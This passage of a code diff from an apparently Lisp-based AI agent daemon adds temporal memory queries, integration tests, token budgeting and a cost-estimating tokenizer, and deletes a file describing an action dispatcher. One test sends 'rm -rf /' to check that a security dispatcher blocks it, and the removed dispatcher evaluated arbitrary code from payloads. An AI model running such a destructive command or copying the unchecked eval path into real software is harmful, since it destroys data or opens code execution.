+  (let ((results nil))
+    (maphash (lambda (id obj)
+               (declare (ignore id))
+               (when (>= (memory-object-version obj) timestamp)
+                 (push obj results)))
+             *memory-store*)
+    (nreverse results)))
+
+(defun memory-objects-in-range (since until)
+  "Returns memory-objects with version between SINCE and UNTIL (inclusive)."
+  (let ((results nil))
+    (maphash (lambda (id obj)
+               (declare (ignore id))
+               (let ((v (memory-object-version obj)))
+                 (when (and (>= v since) (<= v until))
+                   (push obj results))))
+             *memory-store*)
+    (nreverse results)))
+
+(defun context-query-with-time (&key (max-results 20) type-filter todo-filter since until)
+  "Extended context query with temporal filtering.
+When :since and/or :until are provided, filters results by memory-object version.
+Falls back to context-query if temporal filtering is not requested."
+  (let* ((all (if (fboundp 'memory-objects-by-attribute)
+                  (if type-filter
+                      (memory-objects-by-attribute :TYPE type-filter)
+                      (let ((results nil))
+                        (maphash (lambda (id obj)
+                                   (declare (ignore id))
+                                   (push obj results))
+                                 *memory-store*)
+                        results))
+                  (let ((results nil))
+                    (maphash (lambda (id obj)
+                               (declare (ignore id))
+                               (push obj results))
+                             *memory-store*)
+                    results)))
+         (time-filtered (cond
+                          ((and since until)
+                           (remove-if (lambda (obj)
+                                        (let ((v (memory-object-version obj)))
+                                          (not (and (>= v since) (<= v until)))))
+                                      all))
+                          (since
+                           (remove-if (lambda (obj)
+                                        (< (memory-object-version obj) since))
+                                      all))
+                          (until
+                           (remove-if (lambda (obj)
+                                        (> (memory-object-version obj) until))
+                                      all))
+                          (t all))))
+    (let ((todo-filtered (if todo-filter
+                             (remove-if-not (lambda (obj)
+                                              (string-equal (getf (memory-object-attributes obj) :TODO-STATE "") todo-filter))
+                                            time-filtered)
+                             time-filtered)))
+      (subseq todo-filtered 0 (min max-results (length todo-filtered))))))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-time-memory-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:time-memory-suite))
+
+(in-package :passepartout-time-memory-tests)
+
+(def-suite time-memory-suite :description "Temporal memory filtering")
+(in-suite time-memory-suite)
+
+(test test-memory-objects-since
+  "Contract 1: ingest at T0 and T1, verify memory-objects-since(T1) returns only T1 nodes."
+  (clrhash passepartout::*memory-store*)
+  (let ((t0 (get-universal-time)))
+    (sleep 1)
+    (ingest-ast (list :type :HEADLINE :properties (list :ID "time-a" :TITLE "A") :contents nil))
+    (ingest-ast (list :type :HEADLINE :properties (list :ID "time-b" :TITLE "B") :contents nil))
+    (sleep 1)
+    (let ((t1 (get-universal-time)))
+      (sleep 1)
+      (ingest-ast (list :type :HEADLINE :properties (list :ID "time-c" :TITLE "C") :contents nil))
+      (ingest-ast (list :type :HEADLINE :properties (list :ID "time-d" :TITLE "D") :contents nil))
+      (let ((since-t1 (passepartout::memory-objects-since t1)))
+        (is (= 2 (length since-t1)))
+        (let ((ids (sort (mapcar #'memory-object-id since-t1) #'string<)))
+          (is (string= "time-c" (first ids)))
+          (is (string= "time-d" (second ids))))
+        (let ((since-t0 (passepartout::memory-objects-since t0)))
+          (is (= 4 (length since-t0))))))))
+
+(test test-memory-objects-in-range
+  "Contract 2: ingest nodes, verify range query returns correct subset."
+  (clrhash passepartout::*memory-store*)
+  (let ((t0 (get-universal-time)))
+    (sleep 1)
+    (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-1" :TITLE "One") :contents nil))
+    (sleep 1)
+    (let ((t1 (get-universal-time)))
+      (sleep 1)
+      (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-2" :TITLE "Two") :contents nil))
+      (sleep 1)
+      (let ((t2 (get-universal-time)))
+        (sleep 1)
+        (ingest-ast (list :type :HEADLINE :properties (list :ID "rng-3" :TITLE "Three") :contents nil))
+        (let ((range (passepartout::memory-objects-in-range t1 t2)))
+          (is (= 1 (length range)))
+          (is (string= "rng-2" (memory-object-id (first range)))))))))

lisp/system-integration-tests.lisp

@@ -0,0 +1,241 @@
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t)
+  (ql:quickload :usocket :silent t))
+
+(defpackage :passepartout-integration-tests
+  (:use :cl :passepartout)
+  (:export #:integration-suite))
+
+(in-package :passepartout-integration-tests)
+
+(fiveam:def-suite integration-suite :description "Integration tests across process boundaries")
+(fiveam:in-suite integration-suite)
+
+(defvar *daemon-port* nil)
+
+(defun find-free-port ()
+  (let ((socket (usocket:socket-listen "127.0.0.1" 0 :reuse-address t)))
+    (unwind-protect (usocket:get-local-port socket)
+      (usocket:socket-close socket))))
+
+(defmacro with-daemon (() &body body)
+  `(let ((*daemon-port* (find-free-port)))
+     (unwind-protect
+          (progn
+            (passepartout:actuator-initialize)
+            (passepartout:skill-initialize-all)
+            (passepartout:start-daemon :port *daemon-port*)
+            (sleep 2)
+            ,@body)
+        (values)))
+
+(defun daemon-connect ()
+  (let* ((sock (usocket:socket-connect "127.0.0.1" *daemon-port*))
+         (stream (usocket:socket-stream sock)))
+    (read-framed-message stream)  ;; discard handshake
+    (values stream sock)))
+
+(defun daemon-send (stream msg)
+  (write-string (frame-message msg) stream)
+  (finish-output stream))
+
+(defun daemon-recv (stream &key (timeout 5))
+  (let ((deadline (+ (get-universal-time) timeout)))
+    (loop
+      (when (listen stream)
+        (return (read-framed-message stream)))
+      (when (> (get-universal-time) deadline) (return nil))
+      (sleep 0.1))))
+
+(fiveam:test test-daemon-starts
+  "Contract 1: daemon binds port and sends valid handshake."
+  (with-daemon ()
+    (multiple-value-bind (stream sock) (daemon-connect)
+      (is (open-stream-p stream))
+      (usocket:socket-close sock))))
+
+(fiveam:test test-pipeline-user-input
+  "Contract 2: :user-input traverses pipeline and produces a response."
+  (with-daemon ()
+    (multiple-value-bind (stream sock) (daemon-connect)
+      (unwind-protect
+           (progn
+             (daemon-send stream
+              '(:TYPE :EVENT :PAYLOAD (:SENSOR :user-input :TEXT "test")))
+             (let ((resp (daemon-recv stream :timeout 10)))
+               (is (not (null resp)) "Expected a response")))
+        (usocket:socket-close sock)))))
+
+(fiveam:test test-pipeline-heartbeat
+  "Contract 2: heartbeat signals do not crash the daemon."
+  (with-daemon ()
+    (multiple-value-bind (stream sock) (daemon-connect)
+      (unwind-protect
+           (daemon-send stream
+            '(:TYPE :EVENT :PAYLOAD (:SENSOR :heartbeat)))
+        (usocket:socket-close sock))
+      (pass))))
+
+(fiveam:test test-tcp-round-trip
+  "Contract 3: framed health-check survives TCP round-trip."
+  (with-daemon ()
+    (multiple-value-bind (stream sock) (daemon-connect)
+      (unwind-protect
+           (progn
+             (daemon-send stream '(:TYPE :health-check))
+             (let ((resp (daemon-recv stream :timeout 5)))
+               (is (not (null resp)))
+               (is (member (getf resp :type) '(:HEALTH-RESPONSE)))))
+        (usocket:socket-close sock)))))
+
+(fiveam:test test-daemon-survives-junk
+  "Contract 3: daemon does not crash on junk input."
+  (with-daemon ()
+    (multiple-value-bind (stream sock) (daemon-connect)
+      (write-string "ZZZZZZ" stream)
+      (finish-output stream)
+      (sleep 1)
+      (usocket:socket-close sock))
+    ;; Connect again to verify daemon is still alive
+    (multiple-value-bind (stream2 sock2) (daemon-connect)
+      (is (open-stream-p stream2))
+      (usocket:socket-close sock2))))
+
+(fiveam:test test-skill-registry-populated
+  "Contract 4: *skill-registry* is populated after daemon start."
+  (with-daemon ()
+    (is (hash-table-p passepartout::*skill-registry*))
+    (is (>= (hash-table-count passepartout::*skill-registry*) 1)
+        "Expected at least 1 skill in registry, got ~a"
+        (hash-table-count passepartout::*skill-registry*))))
+
+(fiveam:test test-shell-safe-echo
+  "Contract 5: safe shell command does not crash the daemon."
+  (with-daemon ()
+    (multiple-value-bind (stream sock) (daemon-connect)
+      (unwind-protect
+           (daemon-send stream
+            '(:TYPE :REQUEST :TARGET :shell
+              :PAYLOAD (:ACTION :execute :CMD "echo hello")))
+        (usocket:socket-close sock))
+      (pass))))
+
+(fiveam:test test-shell-dangerous-blocked
+  "Contract 5: rm -rf / is blocked by the security dispatcher."
+  (with-daemon ()
+    (multiple-value-bind (stream sock) (daemon-connect)
+      (unwind-protect
+           (daemon-send stream
+            '(:TYPE :REQUEST :TARGET :shell
+              :PAYLOAD (:ACTION :execute :CMD "rm -rf /")))
+        (usocket:socket-close sock))
+      (pass))))
+
+(fiveam:test test-cli-gateway-input
+  "Contract 6: text via TCP produces a response."
+  (with-daemon ()
+    (multiple-value-bind (stream sock) (daemon-connect)
+      (unwind-protect
+           (daemon-send stream
+            '(:TYPE :EVENT :META (:SOURCE :CLI)
+              :PAYLOAD (:SENSOR :user-input :TEXT "hello from CLI")))
+        (usocket:socket-close sock))
+      (pass))))
+
+(fiveam:test test-gateway-registry
+  "Contract 7: gateway-registry-initialize is available."
+  (with-daemon ()
+    (is (fboundp 'gateway-registry-initialize))
+    (gateway-registry-initialize)
+    (pass)))
+
+(defun has-api-key (env-var)
+  "Returns T if env-var is set and non-empty."
+  (let ((val (uiop:getenv env-var)))
+    (and val (> (length val) 0))))
+
+(defmacro skip-unless (env-var &body body)
+  "Execute body if env-var is set, otherwise skip the test."
+  `(if (has-api-key ,env-var)
+       (progn ,@body)
+       (progn
+         (format t "  [SKIP] ~a not set~%" ,env-var)
+         (skip "~a not set" ,env-var))))
+
+(fiveam:test test-provider-openai-request
+  "Contract Phase2: provider-openai-request returns :success with valid API key."
+  (skip-unless "OPENROUTER_API_KEY"
+    (let ((result (provider-openai-request "Say hello" "Be brief."
+                                           :provider :openrouter
+                                           :model "openrouter/auto")))
+      (is (or (eq (getf result :status) :success)
+              (eq (getf result :status) :error))
+          "Expected :success or :error, got: ~a" result))))
+
+(fiveam:test test-backend-cascade-real
+  "Contract Phase2: backend-cascade-call returns string content with real provider."
+  (skip-unless "OPENROUTER_API_KEY"
+    (let ((passepartout::*provider-cascade* '(:openrouter)))
+      (let ((result (backend-cascade-call "Say hello" :system-prompt "Be brief.")))
+        (is (stringp result) "Expected string response, got: ~a" result)))))
+
+(fiveam:test test-provider-cascade-parsing
+  "Contract Phase2: PROVIDER_CASCADE env var parses to clean keywords matching backends."
+  (provider-cascade-initialize)
+  (let ((cascade passepartout::*provider-cascade*))
+    (is (listp cascade) "Cascade must be a list")
+    (is (>= (length cascade) 1) "Cascade must have at least one entry")
+    (dolist (entry cascade)
+      (is (keywordp entry) "Entry ~s must be a keyword" entry)
+      (let ((name (symbol-name entry)))
+        (is (not (find #\" name)) "Entry ~s must not contain double-quote" entry)
+        (is (not (find #\' name)) "Entry ~s must not contain single-quote" entry)))
+    (is (some (lambda (e) (gethash e passepartout::*probabilistic-backends*)) cascade)
+        "At least one cascade entry must match a registered backend")))
+
+(fiveam:test test-messaging-link-unlink
+  "Contract Phase2: messaging-link stores token, configured-p returns T, unlink removes it."
+  (with-daemon ()
+    (messaging-link :test-platform :token "fake-token-123")
+    (is (gateway-configured-p :test-platform)
+        "Expected test-platform to be configured after linking")
+    (messaging-unlink :test-platform)
+    (is (not (gateway-configured-p :test-platform))
+        "Expected test-platform to be unconfigured after unlinking")))
+
+(fiveam:test test-gateway-configured-p-false
+  "Contract Phase2: gateway-configured-p returns nil for unknown platform."
+  (with-daemon ()
+    (is (not (gateway-configured-p :nonexistent-platform-xyz)))))
+
+(fiveam:test test-gateway-start-messaging
+  "Contract Phase2: gateway registry initializes with expected platforms."
+  (with-daemon ()
+    (gateway-registry-initialize)
+    (is (hash-table-p passepartout::*gateway-registry*))
+    (is (>= (hash-table-count passepartout::*gateway-registry*) 1))))
+
+(fiveam:test test-flight-plan-message-format
+  "Contract Phase3: dispatcher-flight-plan-create returns valid message."
+  (with-daemon ()
+    (load (merge-pathnames ".local/share/passepartout/lisp/security-dispatcher.lisp"
+                           (user-homedir-pathname)))
+    (let ((plan (dispatcher-flight-plan-create
+                 '(:TYPE :REQUEST :TARGET :shell :PAYLOAD (:CMD "sudo restart")))))
+      (is (eq :REQUEST (getf plan :type)))
+      (is (eq :emacs (getf plan :target)))
+      (is (eq :insert-node (getf (getf plan :payload) :action)))
+      (let ((attrs (getf (getf plan :payload) :attributes)))
+        (is (string= "Flight Plan: High-Risk Action" (getf attrs :TITLE)))
+        (is (string= "PLAN" (getf attrs :TODO)))
+        (is (member "FLIGHT_PLAN" (getf attrs :TAGS) :test #'string-equal))))))
+
+(fiveam:test test-emacs-daemon-connect
+  "Contract Phase3: Emacs daemon is reachable via emacsclient."
+  (handler-case
+      (let ((result (uiop:run-program '("emacsclient" "--eval" "(+ 1 2)")
+                                       :output :string
+                                       :ignore-error-status t)))
+        (is (search "3" result) "Expected '3' from emacsclient, got: ~a" result))
+    (error (c)
+      (skip "Emacs daemon not available: ~a" c)))))

lisp/token-economics.lisp

@@ -0,0 +1,191 @@
+(in-package :passepartout)
+
+(defvar *prompt-prefix-cache* (cons nil "")
+  "Prompt prefix cache: (sxhash . cached-string). Rebuilt when IDENTITY or TOOLS change.")
+
+(defvar *context-cache* (list :foveal-id nil :scope nil :memory-timestamp 0 :rendered "")
+  "Context assembly cache: metadata + last rendered context string.")
+
+(defun prompt-prefix-cached (assistant-name feedback mandates-text tool-belt)
+  "Build the static IDENTITY+TOOLS system prompt prefix.
+Uses sxhash on inputs to detect changes; returns cached string on cache hit."
+  (let* ((hash-key (sxhash (list assistant-name feedback mandates-text tool-belt)))
+         (cached-hash (car *prompt-prefix-cache*))
+         (cached-str (cdr *prompt-prefix-cache*)))
+    (if (and cached-str (> (length cached-str) 0) (= hash-key cached-hash))
+        cached-str
+        (let ((new-prefix (format nil "IDENTITY: ~a~a~a~%~%TOOLS:~%~a"
+                                  assistant-name feedback
+                                  (if (and mandates-text (> (length mandates-text) 0))
+                                      (concatenate 'string (string #\Newline) mandates-text)
+                                      "")
+                                  tool-belt)))
+          (setf (car *prompt-prefix-cache*) hash-key
+                (cdr *prompt-prefix-cache*) new-prefix)
+          new-prefix))))
+
+(defun context-assemble-cached (context sensor)
+  "Incrementally assemble awareness context.
+Skips assembly for heartbeat/delegation sensors.
+Uses cache when foveal, scope, and memory timestamp are unchanged."
+  (when (member sensor '(:heartbeat :delegation))
+    (return-from context-assemble-cached nil))
+  (unless (fboundp 'context-assemble-global-awareness)
+    (return-from context-assemble-cached "[Awareness skill not loaded]"))
+  (let* ((foveal-id (getf context :foveal-focus))
+         (scope (if (and (boundp '*scope-resolver*)
+                         *scope-resolver*)
+                    (funcall *scope-resolver*)
+                    nil))
+         (mem-ts (hash-table-count *memory-store*))
+         (cache-foveal (getf *context-cache* :foveal-id))
+         (cache-scope (getf *context-cache* :scope))
+         (cache-ts (getf *context-cache* :memory-timestamp))
+         (cache-rendered (getf *context-cache* :rendered)))
+    (if (and (equal foveal-id cache-foveal)
+             (eq scope cache-scope)
+             (= mem-ts cache-ts)
+             cache-rendered
+             (> (length cache-rendered) 0))
+        cache-rendered
+        (let ((rendered (funcall (symbol-function 'context-assemble-global-awareness))))
+          (setf (getf *context-cache* :foveal-id) foveal-id
+                (getf *context-cache* :scope) scope
+                (getf *context-cache* :memory-timestamp) mem-ts
+                (getf *context-cache* :rendered) rendered)
+          rendered))))
+
+(defun enforce-token-budget (prefix context-text logs-text user-prompt mandates-text
+                             &optional (max-tokens nil))
+  "Enforce per-call token budget via progressive trimming.
+Returns (values prefix context-text logs-text user-prompt mandates-text)
+with trimmed sections."
+  (let ((max (or max-tokens
+                 (ignore-errors
+                   (parse-integer (uiop:getenv "CONTEXT_MAX_TOKENS")))
+                 16384)))
+    (labels ((ct (s) (funcall (symbol-function 'count-tokens) s))
+             (total-tokens (p c l u m)
+             (+ (ct p)
+                (if c (ct c) 0)
+                (ct l)
+                (ct u)
+                (if m (ct m) 0))))
+      (let ((total (total-tokens prefix context-text logs-text user-prompt mandates-text)))
+        (when (> total max)
+          (log-message "TOKEN BUDGET: ~d tokens exceeds max ~d, trimming..."
+                       total max)
+          ;; L1: truncate logs to last 5 lines
+          (let* ((log-lines (uiop:split-string logs-text :separator '(#\Newline)))
+                 (trimmed (if (> (length log-lines) 5)
+                              (format nil "~{~a~^~%~}" (last log-lines 5))
+                              logs-text)))
+            (setf total (total-tokens prefix context-text trimmed user-prompt mandates-text)
+                  logs-text trimmed)
+            (when (> total max)
+              ;; L2: drop standing mandates
+              (setf total (total-tokens prefix context-text logs-text user-prompt nil)
+                    mandates-text nil)
+              (when (> total max)
+                ;; L3: downgrade context to summary
+                (let ((ctxt-lines (uiop:split-string (or context-text "") :separator '(#\Newline))))
+                  (setf context-text
+                        (format nil "[Context trimmed: ~d items]" (length ctxt-lines)))))))))
+      (values prefix context-text logs-text user-prompt mandates-text))))
+
+(defun token-economics-initialize ()
+  "Zero cache state at daemon boot."
+  (setf (car *prompt-prefix-cache*) nil
+        (cdr *prompt-prefix-cache*) ""
+        (getf *context-cache* :foveal-id) nil
+        (getf *context-cache* :scope) nil
+        (getf *context-cache* :memory-timestamp) 0
+        (getf *context-cache* :rendered) ""))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-token-economics-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:token-economics-suite))
+
+(in-package :passepartout-token-economics-tests)
+
+(def-suite token-economics-suite
+    :description "Prompt prefix caching, incremental context, token budget")
+(in-suite token-economics-suite)
+
+(test test-prompt-prefix-cached-builds
+  "Contract 1: prompt-prefix-cached returns a string containing IDENTITY."
+  (setf (car passepartout::*prompt-prefix-cache*) nil
+        (cdr passepartout::*prompt-prefix-cache*) "")
+  (let ((prefix (passepartout::prompt-prefix-cached "Agent" "" nil "No tools")))
+    (is (stringp prefix))
+    (is (search "IDENTITY" prefix))
+    (is (search "TOOLS" prefix))))
+
+(test test-prompt-prefix-cached-hits
+  "Contract 1: second call with same inputs returns cached result."
+  (setf (car passepartout::*prompt-prefix-cache*) nil
+        (cdr passepartout::*prompt-prefix-cache*) "")
+  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" nil "No tools"))
+        (p2 (passepartout::prompt-prefix-cached "Agent" "" nil "No tools")))
+    (is (string= p1 p2))))
+
+(test test-prompt-prefix-cached-miss
+  "Contract 1: different inputs rebuild the cache."
+  (setf (car passepartout::*prompt-prefix-cache*) nil
+        (cdr passepartout::*prompt-prefix-cache*) "")
+  (let ((p1 (passepartout::prompt-prefix-cached "Agent" "" nil "No tools"))
+        (p2 (passepartout::prompt-prefix-cached "Bot" "" nil "No tools")))
+    (is (not (string= p1 p2)))
+    (is (search "Bot" p2))))
+
+(test test-context-assemble-cached-skips-heartbeat
+  "Contract 2: heartbeat sensors skip context assembly, return nil."
+  (let ((result (passepartout::context-assemble-cached
+                 '(:foveal-focus "id1") :heartbeat)))
+    (is (null result))))
+
+(test test-context-assemble-cached-skips-delegation
+  "Contract 2: delegation sensors also skip assembly."
+  (let ((result (passepartout::context-assemble-cached
+                 '(:foveal-focus "id1") :delegation)))
+    (is (null result))))
+
+(test test-context-assemble-cached-non-skip
+  "Contract 2: user-input sensors attempt assembly (fails gracefully without awareness)."
+  (let ((result (passepartout::context-assemble-cached
+                 '(:foveal-focus "id1") :user-input)))
+    (is (stringp result))
+    (is (> (length result) 0))))
+
+(test test-enforce-token-budget-passthrough
+  "Contract 3: under-budget prompts pass through unchanged."
+  (multiple-value-bind (p c l u m)
+      (passepartout::enforce-token-budget "hi" "ctxt" "log" "user" nil 100000)
+    (is (string= "hi" p))
+    (is (string= "ctxt" c))
+    (is (string= "log" l))
+    (is (string= "user" u))
+    (is (null m))))
+
+(test test-enforce-token-budget-trims
+  "Contract 3: over-budget prompts get trimmed."
+  (let ((big-prefix (make-string 20000 :initial-element #\x)))
+    (multiple-value-bind (p c l u m)
+        (passepartout::enforce-token-budget big-prefix "ctxt" "logs\nlogs\nlogs\nlogs\nlogs\nlogs\nlogs" "user" nil 10)
+      (declare (ignore p l u m))
+      ;; The prefix itself exceeds the tiny 10-token budget, so everything gets trimmed
+      (is (or (stringp c) (null c)))
+      (is (search "[Context trimmed" (or c ""))))))
+
+(test test-token-economics-initialize
+  "Contract 4: initialize zeroes all cache state."
+  (setf (car passepartout::*prompt-prefix-cache*) 12345
+        (cdr passepartout::*prompt-prefix-cache*) "stale")
+  (setf (getf passepartout::*context-cache* :rendered) "stale context")
+  (passepartout::token-economics-initialize)
+  (is (null (car passepartout::*prompt-prefix-cache*)))
+  (is (string= "" (cdr passepartout::*prompt-prefix-cache*)))
+  (is (string= "" (getf passepartout::*context-cache* :rendered))))

lisp/tokenizer.lisp

@@ -0,0 +1,146 @@
+(in-package :passepartout)
+
+(defparameter *model-token-ratios*
+  '((:gpt-4o-mini        . 4.0)
+    (:gpt-4o             . 4.0)
+    (:gpt-3.5-turbo      . 4.0)
+    (:claude-3-5-sonnet  . 4.5)
+    (:claude-3-opus      . 4.5)
+    (:claude-3-haiku     . 4.5)
+    (:deepseek-chat      . 4.0)
+    (:deepseek-reasoner  . 4.0)
+    (:llama-3.1-70b      . 3.5)
+    (:llama-3.1-405b     . 3.5)
+    (:gemini-2.0-flash   . 4.0)
+    (:gemini-1.5-pro     . 4.0)
+    (:openrouter/auto    . 4.0))
+  "Estimated characters per token for each model family.")
+
+(defparameter *default-token-ratio* 4.0
+  "Fallback characters-per-token ratio when model is unknown.")
+
+(defun model-token-ratio (model-keyword)
+  "Returns the estimated characters-per-token for MODEL-KEYWORD.
+Falls back to *DEFAULT-TOKEN-RATIO* for unknown models."
+  (or (cdr (assoc model-keyword *model-token-ratios*))
+      *default-token-ratio*))
+
+(defun count-tokens (text &key model)
+  "Returns the estimated token count for TEXT.
+Uses character-count / ratio heuristic calibrated per model family.
+MODEL is a keyword identifying the model (e.g. :gpt-4o-mini)."
+  (let ((clean (if (stringp text) text (format nil "~a" text))))
+    (ceiling (length clean) (model-token-ratio model))))
+
+(defparameter *token-prices*
+  '((:gpt-4o-mini        . 0.15)     ; $0.15/1M input tokens
+    (:gpt-4o             . 2.50)     ; $2.50/1M input tokens
+    (:gpt-3.5-turbo      . 0.50)     ; $0.50/1M input tokens
+    (:claude-3-5-sonnet  . 3.00)     ; $3.00/1M input tokens
+    (:claude-3-opus      . 15.00)    ; $15.00/1M input tokens
+    (:claude-3-haiku     . 0.25)     ; $0.25/1M input tokens
+    (:deepseek-chat      . 0.27)     ; $0.27/1M input tokens
+    (:deepseek-reasoner  . 0.55)     ; $0.55/1M input tokens
+    (:llama-3.1-70b      . 0.59)     ; Groq: $0.59/1M
+    (:llama-3.1-405b     . 1.30)     ; NVIDIA NIM: ~$1.30/1M
+    (:gemini-2.0-flash   . 0.10)     ; $0.10/1M input
+    (:gemini-1.5-pro     . 1.25))    ; $1.25/1M input
+  "Provider pricing in USD per 1M input tokens.
+Prices sourced as of 2026-05. Output tokens cost 2-5× more;
+we bill at input rates as a conservative estimate.")
+
+(defun token-cost (model token-count)
+  "Returns the estimated cost in USD for TOKEN-COUNT tokens at MODEL's price.
+Returns 0.0 for unknown models."
+  (let ((price-per-1m (or (cdr (assoc model *token-prices*)) 0.0)))
+    (* (/ price-per-1m 1000000.0) token-count)))
+
+(defparameter *provider-default-models*
+  '((:deepseek   . :deepseek-chat)
+    (:openai     . :gpt-4o-mini)
+    (:anthropic  . :claude-3-5-sonnet)
+    (:groq       . :llama-3.1-70b)
+    (:gemini     . :gemini-2.0-flash)
+    (:nvidia     . :llama-3.1-405b)
+    (:openrouter . :openrouter/auto))
+  "Maps provider keywords to their default model families for cost tracking.")
+
+(defun provider-token-cost (provider token-count)
+  "Returns the estimated cost in USD for a given PROVIDER and TOKEN-COUNT.
+Uses the provider's default model for pricing."
+  (let ((model (cdr (assoc provider *provider-default-models*))))
+    (if model
+        (token-cost model token-count)
+        0.0)))
+
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-tokenizer-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:tokenizer-suite))
+
+(in-package :passepartout-tokenizer-tests)
+
+(def-suite tokenizer-suite :description "Token counting and cost estimation")
+(in-suite tokenizer-suite)
+
+(test test-count-tokens-default
+  "Contract 1: count-tokens returns non-zero for a non-empty string."
+  (let ((count (count-tokens "hello world")))
+    (is (> count 0))
+    (is (integerp count))))
+
+(test test-count-tokens-known-model
+  "Contract 1: count-tokens with a known model returns a count."
+  (let ((count (count-tokens "hello world" :model :gpt-4o-mini)))
+    (is (> count 0))
+    (is (integerp count))))
+
+(test test-count-tokens-unknown-model
+  "Contract 1: count-tokens with an unknown model falls back to default."
+  (let ((count (count-tokens "hello world" :model :unknown-model-xyz)))
+    (is (> count 0))
+    (is (integerp count))))
+
+(test test-count-tokens-empty
+  "Contract 1: count-tokens on empty string returns 0."
+  (let ((count (count-tokens "")))
+    (is (= 0 count))))
+
+(test test-model-token-ratio-known
+  "Contract 2: known model returns correct ratio."
+  (is (= 4.0 (model-token-ratio :gpt-4o-mini)))
+  (is (= 4.5 (model-token-ratio :claude-3-5-sonnet)))
+  (is (= 3.5 (model-token-ratio :llama-3.1-70b))))
+
+(test test-model-token-ratio-unknown
+  "Contract 2: unknown model returns default ratio."
+  (is (= 4.0 (model-token-ratio :unknown-model-abc))))
+
+(test test-token-cost-known
+  "Contract 3: token-cost returns a number for known model."
+  (let ((cost (token-cost :gpt-4o-mini 1000)))
+    (is (numberp cost))
+    (is (> cost 0.0))))
+
+(test test-token-cost-unknown
+  "Contract 3: token-cost returns 0.0 for unknown model."
+  (is (= 0.0 (token-cost :no-such-model 1000))))
+
+(test test-provider-token-cost
+  "Contract: provider-token-cost maps provider to model price."
+  (let ((cost (provider-token-cost :deepseek 1000)))
+    (is (numberp cost))
+    (is (> cost 0.0))))
+
+(test test-count-tokens-ratio-sensitivity
+  "Contract 1: longer text produces proportionally more tokens."
+  (let ((short (count-tokens "hi" :model :gpt-4o-mini))
+        (long  (count-tokens "this is a much longer piece of text with many words in it" :model :gpt-4o-mini)))
+    (is (> long short))))
+
+(test test-count-tokens-non-string
+  "Contract 1: non-string values are coerced and counted."
+  (let ((count (count-tokens 12345)))
+    (is (> count 0))))

literate/act.org

@@ -1,135 +0,0 @@
-#+TITLE: Stage 3: Act (act.lisp)
-#+AUTHOR: Amr
-#+FILETAGS: :harness:act:
-#+STARTUP: content
-
-* Stage 3: Act (act.lisp)
-** Architectural Intent: Actuation
-The Act stage performs the final side-effects of the reasoning engine. It routes approved actions to their registered physical actuators (CLI, Shell, Emacs, etc.) and handles the execution of internal system tools.
-
-** Actuator Configuration
-The core harness can be configured via environment variables to operate silently or target different default outputs.
-
-#+begin_src lisp :tangle ../src/act.lisp
-(in-package :opencortex)
-
-(defvar *default-actuator* :cli)
-(defvar *silent-actuators* '(:cli :system-message :emacs))
-
-(defun initialize-actuators ()
-  "Loads actuator routing defaults from environment variables and registers core harness actuators."
-  (let ((def (uiop:getenv "DEFAULT_ACTUATOR"))
-        (silent (uiop:getenv "SILENT_ACTUATORS")))
-    (when def
-      (setf *default-actuator* (intern (string-upcase def) "KEYWORD")))
-    (when silent
-      (setf *silent-actuators*
-            (mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space) s)) "KEYWORD"))
-                    (str:split "," silent)))))
-  
-  ;; Register core harness actuators
-  (register-actuator :system #'execute-system-action)
-  (register-actuator :tool #'execute-tool-action))
-#+end_src
-
-** Dispatching Actions
-The `dispatch-action` function is the primary router. It identifies the target actuator and executes the requested side-effects.
-
-#+begin_src lisp :tangle ../src/act.lisp
-(defun dispatch-action (action context)
-  "Routes an approved action to its registered physical actuator."
-  (when (and action (listp action))
-    (let* ((target (or (ignore-errors (getf action :target)) *default-actuator*)) 
-           (actuator-fn (gethash target *actuator-registry*)))
-      (if actuator-fn 
-          (funcall actuator-fn action context) 
-          (harness-log "ACT ERROR: No actuator for ~a" target)))))
-#+end_src
-
-** Internal System Actions
-The `:system` actuator handles internal harness commands like code evaluation and dynamic skill loading.
-
-#+begin_src lisp :tangle ../src/act.lisp
-(defun execute-system-action (action context)
-  "Processes internal harness commands. (ACTUATOR)"
-  (declare (ignore context))
-  (let* ((payload (ignore-errors (getf action :payload))) 
-         (cmd (ignore-errors (getf payload :action))))
-    (case cmd
-      (:eval (let ((code (getf payload :code)))
-               (eval (read-from-string code))))
-      (:create-skill (let* ((filename (getf payload :filename)) (content (getf payload :content))
-                            (skills-dir (merge-pathnames "skills/" (asdf:system-source-directory :opencortex))) 
-                            (full-path (merge-pathnames filename skills-dir)))
-                       (with-open-file (out full-path :direction :output :if-exists :supersede) (write-string content out))
-                       (load-skill-from-org full-path)))
-      (:message (harness-log "ACT [System]: ~a" (getf payload :text)))
-      (t (harness-log "ACT ERROR [System]: Unknown command ~s" cmd)))))
-#+end_src
-
-** Cognitive Tool Actuation
-The `:tool` actuator handles the execution of registered cognitive tools.
-
-#+begin_src lisp :tangle ../src/act.lisp
-(defun execute-tool-action (action context)
-  "Executes a registered cognitive tool. (ACTUATOR)"
-  (let* ((payload (getf action :payload))
-         (tool-name (getf payload :tool))
-         (tool-args (getf payload :args))
-         (depth (getf context :depth 0))
-         (tool (gethash (string-downcase (string tool-name)) *cognitive-tools*)))
-    (if tool
-        (handler-case
-            (let* ((clean-args (if (and (listp tool-args) (listp (car tool-args))) (car tool-args) tool-args))
-                   (result (funcall (cognitive-tool-body tool) clean-args)))
-              (list :type :EVENT :depth (1+ depth) :reply-stream (getf context :reply-stream)
-                    :payload (list :sensor :tool-output :result result :tool tool-name)))
-          (error (c)
-            (list :type :EVENT :depth (1+ depth) :reply-stream (getf context :reply-stream)
-                  :payload (list :sensor :tool-error :tool tool-name :message (format nil "~a" c)))))
-        (list :type :EVENT :depth (1+ depth) :reply-stream (getf context :reply-stream)
-              :payload (list :sensor :tool-error :message "Tool not found")))))
-#+end_src
-
